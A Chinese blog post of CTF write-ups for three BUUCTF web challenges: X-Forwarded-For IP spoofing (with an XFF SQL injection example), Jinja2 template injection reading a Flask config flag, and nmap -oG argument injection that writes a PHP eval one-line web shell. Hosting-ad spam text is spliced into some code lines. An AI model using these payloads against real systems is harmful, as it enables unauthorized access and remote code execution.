[MRCTF2020]PYWebsite1
进入环境,页面就提示要购买flag,不要想着购买,因为扫码后提示的是一个文本
“拜托!你不会真的想PYflag吧,这样可是违规的!再好好分析一下界面代码吧”
查看网页源码,发现flag文件
访问后得到该页面,查看源码也没有有用的信息
提示在后端验证了IP,还提示了需要购买者或自己IP,了解到这题的考点是X-Forward-For,果断抓包添加绕过IP限制
X-Forwarded-For:127.0.0.1
发送后得到该页面,并查看源码也可以得到flag
笔记
X-Forwarded-For(XFF)
XFF是header请求头中的一个参数
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
代表了HTTP的请求端真实的IP。
X-Forwarded-For: client1, proxy1, proxy2, proxy3
//浏览器IP,第一个代理服务器,第二个三个四个等等
利用方式
1.绕过服务器过滤
XFF漏洞也称为IP欺骗。
有些服务器通过XFF头判断是否是本地服务器,当判断为本地服务器时,才能访问相关内容。
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1
修改XFF头的信息,即可绕过服务器的过滤。
2.XFF导致sql注入
XFF注入和SQL的header头部注入原理一样,服务器端会对XFF信息进行记录,
但没有进行过滤处理,就容易导致sql注入的产生
X-Forwarded-for: 127.0.0.1′ and 1=1#
然后进一步利用sql注入,进行渗透测试。
伪造XFF头绕过服务器IP过滤
IP伪造
TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造
XFF字段
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:
X-Forwarded-For: client1, proxy1, proxy2, proxy3
左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)
伪造方式
可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数
参考:https://www.cnblogs.com/dubhe-/p/9987227.html
X-Forwarded-For – HTTP | MDN
X-Forwarded-For 和 X-Real-IP 的区别? – 猪啊美 – 博客园
[WesternCTF2018]shrine1
进入环境,看到这个页面没有什么思路,但看到import,看着有点想python代码
查看源码
将代码导入pycharm运行,出现报错
接着不知道要怎么进行下去了,参考别人的wp:渗透学习-CTF篇-web-BUUCTF_ctf渗透题_dfzy$_$的博客-CSDN博客
[WesternCTF2018]shrine-CSDN博客
先了解SSTI
SSTI(模板注入)
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
import fl服务器托管网ask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
我们看到第一部分这里有个函数flask.render_template_string , 这个函数就是一个模板的调用函数。
当我们在ctf中看到这个函数时,就可以联想到这很有可能是一道SSTI的题。
这里会对我们传入的参数进行过滤,也就是说会将传入的参数中的()进行过滤掉,防止我们调用特殊变量或者python内置的函数等等。
4 这里代码将__name__这个系统变量传入到对应的app变量中,再调用app变量里的config参数调出FLAG的值。
在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。在本关中就有一个config 对象。
且本关由于对输入的参数进行了过滤() 因此,我们可以利用python中的url_for()函数是用于构建操作指定函数的URL。(因为这个函数可以省略(),所以可用)
在分析了传入的pyload的构成后,我们还需要看看在哪个位置处存在注入点
在代码中的这一部分,有一个app.route() 这里就是指对应的注入的路径!!!
开始注入
构造payload:
/shrine/{{url_for.__globals__}}
globals 会列出当前的所有的变量。 但是根据题目,我们需要找到当前使用的变量,也就是flask的变量。(这里已经在图中标识了)
然后,读取当前命名空间中的对应变量信息:当前在flask模板下里的config
/shrine/{{url_for.__glo服务器托管网bals__[‘current_app’].config}}
看到flag
但是呢,我们还可以用如下payload直接读取:
/shrine/{{url_for.__globals__[‘current_app’].config[‘FLAG’]}}
知识点:SSTI模板注入
一、初识SSTI
1、什么是SSTI?
SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。
可能SSTI对大家而言不是很熟悉,但是相信大家很熟悉SQL注入。实际上这两者的思路都是相同的,因此可以类比来分析。
2、引发SSTI的真正原因
render_template渲染函数的问题
渲染函数在渲染的时候,往往对用户输入的变量不做渲染。
也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
参考:服务器端模板注入(SSTI)详解_江西省遂川县常驻深圳大使的博客-CSDN博客
SSTI模板注入总结-CSDN博客
flask之ssti模版注入从零到入门 – 先知社区
[网鼎杯 2020 朱雀组]Nmap1
进入环境,要求输入主机或IP进行扫描
输入127.0.0.1尝试一下
但是到这里就不知道要如何操作了
参考:web buuctf [网鼎杯 2020 朱雀组]Nmap1_半杯雨水敬过客的博客-CSDN博客
这道题用到namp的命令,别人的wp解释这道题是namp注入,但具体的namp注入是什么也不清楚
利用NMAP里的-oG命令实现代码的写入,那我们这里就可以尝试构造payload,来利用‘拼接,写入我们想要的shell文件
这里要传入一句话木马,类似于文件上传,但这里多了namp的命令的使用
payload:
‘ -oG zhuque.php ‘
注入之后发现存在过滤,fuzz,过滤了php
(1)利用=来代替<?php进行绕过
(2)利用phtml来代替shell.php的文件后缀
payload:
‘ = eval($_POST[“cmd”]);?> -oG zhuque.phtml ‘
访问文件查看是否上传成功,结果上传成功
用蚁剑连接查看文件
找到flag
namp参考:【精选】Namp使用_simple11618的博客-CSDN博客
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net